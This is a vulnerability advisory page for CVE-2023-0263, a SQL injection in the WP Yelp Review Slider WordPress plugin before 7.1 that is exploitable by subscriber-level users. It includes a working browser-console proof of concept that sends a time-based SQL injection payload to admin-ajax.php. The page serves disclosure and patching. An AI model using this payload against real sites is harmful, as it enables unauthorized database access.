WP Yelp Review Slider < 7.1 – Subscriber+ SQLi | CVE 2023-0263 | Plugin Vulnerabilities

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as subscriber.

Proof of Concept

Run the following code in the browser console on any WP Admin page.

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=parse-media-shortcode&shortcode=[wpyelp_usetemplate tid="1 AND (SELECT 42 FROM (SELECT(SLEEP(5)))b)"]'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Affects Plugins

wp-yelp-review-slider

Fixed in 7.1

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Lana Codes

Submitter

Lana Codes

Submitter website

https://lana.codes/

Submitter twitter

Verified

Yes

WPVDB ID

2b4a6459-3e49-4048-8a9f-d7bb350aa2f6

Timeline

Publicly Published

2023-01-23 (about 2 years ago)

Added

2023-01-23 (about 2 years ago)

Last Updated

2023-01-23 (about 2 years ago)

Other

Published

Title

Published

2022-02-28

Title

Infographic Maker - iList < 4.3.8 - Unauthenticated SQL Injection

Published

2021-08-06

Title

Paid Member Subscriptions < 2.4.2 - Authenticated SQL Injection

Published

2022-12-20

Title

WP Pipes < 1.4.0 - Admin+ SQLi

Published

2025-03-03

Title

teachPress < 9.0.8 - Authenticated (Contributor+) SQL Injection

Published

2022-02-21

Title

CommonsBooking < 2.6.8 - Unauthenticated SQL Injection